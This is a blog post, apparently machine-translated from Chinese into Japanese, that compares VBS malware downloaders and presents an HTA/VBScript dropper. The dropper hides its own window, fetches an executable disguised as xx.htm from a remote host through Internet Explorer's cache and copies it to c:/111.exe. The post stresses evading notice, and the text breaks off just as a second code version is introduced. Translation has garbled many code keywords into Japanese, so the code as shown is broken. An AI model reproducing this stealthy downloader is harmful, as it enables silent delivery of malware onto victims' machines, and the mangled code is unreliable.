1.このブログで、まず2つの比較的斬新なVBSダウンローダーについて話しましょう。 1つはcdo.messageコンポーネントを使用して作成され、もう1つはmicrosoft.xmldomを使用して作成されます。 http://www.jb51.net/article/15506.htmを参照してください。これら2つのダウンローダーの1つは、使用するのが面倒であり、事前にEXEを変換する必要があります。第二に、cscript.exeは使用中にネットワークにアクセスしますが、これはあまり隠されていません。 2つ目は、一部のマシンにはこれら2つのコンポーネントがなく、adodb.streamを使用しているため、いくつかの欠点があります。
2。レイク2のダウンローダーについて話しましょうhttp://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。このダウンローダーはかなり良いですが、問題があります。 1つは、360などの別のブラウザがインストールされている場合、IEウィンドウが開かれ、レジストリから読み取られたIEキャッシュの場所が正確でない場合があることです。
3.では、これらの欠陥をどのように更新しますか?まだ方法があります。 HTAを使用してこれを書きます。これは比較的まれです。 HH.EXEは通常、ネットワークにアクセスするときにリリースされます。このダウンローダーを書くことで、いくつの困難を解決する必要がありますか:
(1)。 Make hta invisible------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2)。 Make hta receive command line parameters-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3)。 Do not call all components mentioned in the first and second items above-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) Temporary location of .ie cache ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) We do not call any component------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4。コード(HTAでパラメーターを直接書き込む)
コードは次のとおりです。
<スクリプト言語= vbs>
Window.Moveto 4000,4000
window.resizeto 0,0 'は、HTAを見えなくします
set objshell = createObject( "wscript.shell") 'htaはwscript.shellを直接呼び出すことができますが、wscript.createobject( "wscript.shell")を呼び出すことはできません。
lownpath = objshell.expandenvironmentstrings( "%userprofile%")& "/local settings" '環境変数に従ってダウンロードパスを取得
xml = document.createelement( "xml") 'xml要素を作成するデフォルトの動作を設定しますie
xml.addbehavior( "#デフォルト#ダウンロード")
xml.async = 0
xml.load( "http://192.168.0.10/xx.htm") 'exeの名前をスペースに変更してください。 FTPソフトウェアでアップロードすると、機能しない可能性があります。それを着る方が良いです。
showallfile(downpath)
サブショーアラファイル(パス) '旅行と検索、湖のコードを直接使用します2
findFileName = "xx [1] .htm" 'これも変更する必要があるものです。上記がxx.htmの場合、xx [1] .htmです
fso = createObject( "Scripting.filesystemObject")
f = fso.getFolder(パス)を設定します
fc = f.subfoldersを設定します
FCの各F1
fso.fileexists(path& "/"&f1.name& "/"&findFileName)の場合
fso.copyfile path& "/"&f1.name& "/"&findfilename、 "c:/111.exe" 'c:/111.exeに保存し、必要に応じて変更できます
'document.write "[+]ダウンロードサクセス!"
ifを終了します
showallfile path& "/"&f1.name
次
FSO =何も設定しません
End Sub
window.close
</script>
使用法は次のとおりです。スペースにxx.exeのようにexeを置き、このHTAをダブルクリックします。
5。別のコード(コマンドラインパラメーターを渡す)
個人的には、4番目のパートのコードが優れていると思います。変更して使用するだけです。コマンドラインパラメーターが呼び出された場合、HTAウィンドウがまだ表示され、ダウンロード後にのみ閉じることがわかったため、これはあまり良くありません。コード: